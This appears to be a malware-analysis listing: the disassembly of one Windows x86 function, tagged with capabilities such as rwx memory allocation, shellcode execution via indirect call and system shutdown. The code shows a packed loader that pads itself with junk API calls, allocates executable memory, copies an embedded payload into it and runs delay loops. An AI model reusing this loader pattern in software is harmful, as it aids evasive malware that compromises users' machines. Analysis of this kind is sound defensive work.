Function at 0x4057ae
Capabilities:
Allocate or change rwx memory
Create pipe
Execute shellcode via indirect call
Get geographical location
Shutdown system

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x107c
call fcn.00410c40
cmp dword [0x819c68], 0x5b1
push ebx
push esi
push edi
jne 0x405881
xor ebx, ebx
push ebx
lea eax, [ebp - 0x1078]
push eax
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_FoldStringW]
push ebx
push ebx
push ebx
call dword [sym.imp.USER32.dll_GetScrollInfo]
push ebx
push ebx
call dword [sym.imp.USER32.dll_ChangeDisplaySettingsA]
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_OpenJobObjectW]
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_SetProcessAffinityMask]
lea eax, [ebp - 0x74]
push eax
push ebx
push ebx
call dword [sym.imp.USER32.dll_GetClassInfoExA]
push ebx
push 0x4050e0
push 0x4050fc
call dword [sym.imp.KERNEL32.dll_CreateHardLinkW]
push ebx
push ebx
call dword [sym.imp.ole32.dll_ReadClassStg]
push ebx
lea eax, [ebp - 0x44]
push eax
push ebx
push ebx
push 0x405110
push ebx
call dword [sym.imp.GDI32.dll_GetCharacterPlacementA]
push ebx
call fcn.00406677
pop ecx
push ebx
call fcn.00405cf4
push ecx
mov eax, esp
mov dword [eax], ebx
push ecx
mov dword [eax + 4], ebx
push ecx
mov eax, esp
mov dword [eax], ebx
mov dword [eax + 4], ebx
call fcn.00405461
fstp st(0)
lea esi, [ebp - 0x14]
call fcn.00405420
mov ecx, esi
call fcn.00405437
push ebx
call fcn.00406182
pop ecx
call fcn.00405bc6
push ebx
call fcn.00406b1f
add dword [0x819c68], 0x1134b
push 0x405134
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push 0x405144
push eax
mov dword [0x818bbc], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x40
push 0x1000
push dword [0x819c68]
xor ebx, ebx
push ebx
mov dword [0x818bb4], eax
call eax
xor esi, esi
mov dword [0x818bb8], eax
cmp dword [0x819c68], ebx
jbe 0x405902
cmp dword [0x819c68], 0xa8
mov eax, dword [0x819c6c]
mov al, byte [eax + esi + 0x1134b]
mov ecx, dword [0x818bb8]
mov byte [ecx + esi], al
jne 0x4058f9
push ebx
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetGeoInfoW]
inc esi
cmp esi, dword [0x819c68]
jb 0x4058cd
xor esi, esi
mov eax, dword [0x819c68]
add eax, esi
cmp eax, 0xe
jne 0x4059c7
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_SetConsoleWindowInfo]
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_CreatePipe]
push ebx
lea eax, [ebp - 0x478]
push eax
push 0x405154
call dword [sym.imp.KERNEL32.dll_GetShortPathNameA]
push ebx
lea eax, [ebp - 0x20]
push eax
push ebx
lea eax, [ebp - 0x878]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_ReadConsoleW]
push ebx
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.ADVAPI32.dll_InitiateSystemShutdownA]
lea eax, [ebp - 0x18]
push eax
call dword [sym.imp.KERNEL32.dll_InterlockedDecrement]
push ebx
call dword [sym.imp.KERNEL32.dll_HeapDestroy]
xor eax, eax
mov dword [ebp - 8], ebx
lea edi, [ebp - 4]
stosd dword es:[edi], eax
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x10]
push eax
call dword [sym.imp.KERNEL32.dll_LocalFileTimeToFileTime]
xor eax, eax
mov word [ebp - 0x30], ax
lea edi, [ebp - 0x2e]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
push ebx
stosw word es:[edi], ax
lea eax, [ebp - 0xc78]
push eax
push 0x405188
lea eax, [ebp - 0x30]
push eax
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetDateFormatA]
call dword [sym.imp.KERNEL32.dll_GetACP]
push ebx
push ebx
lea eax, [ebp - 0x1c]
push eax
call dword [sym.imp.KERNEL32.dll_InterlockedCompareExchange]
push 0x4051d8
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_OpenSemaphoreA]
inc esi
cmp esi, 0x39621
jl 0x405904
xor esi, esi
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetCommMask]
call dword [sym.imp.KERNEL32.dll_GetLastError]
push ebx
call dword [sym.imp.KERNEL32.dll_DebugActiveProcess]
cmp esi, 0x206d47
jg 0x4059fc
inc esi
cmp esi, 0x4f6a4
jl 0x4059d6
mov esi, 0x4e320c
push ebx
push ebx
call dword [sym.imp.USER32.dll_LoadMenuA]
push ebx
push ebx
push ebx
call dword [sym.imp.USER32.dll_CharToOemBuffW]
call dword [sym.imp.USER32.dll_GetMessageExtraInfo]
dec esi
jne 0x405a01
call fcn.00405719
push ebx
call dword [sym.imp.KERNEL32.dll_SetLastError]
cmp esi, 0x26
jne 0x405a31
call fcn.00405794
inc esi
cmp esi, 0x6753f
jl 0x405a20
push 0x7b
pop esi
cmp dword [0x819c68], 0x86
jne 0x405a84
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_FindNextVolumeA]
push ebx
lea eax, [ebp - 0x3c]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_VirtualQuery]
push ebx
call dword [sym.imp.KERNEL32.dll_IsDBCSLeadByte]
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_EnumResourceNamesA]
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_WritePrivateProfileStringW]
push 0x4051f8
call dword [sym.imp.KERNEL32.dll_AddAtomA]
dec esi
jne 0x405a3d
call fcn.004054d3
pop edi
pop esi
pop ebx
leave
ret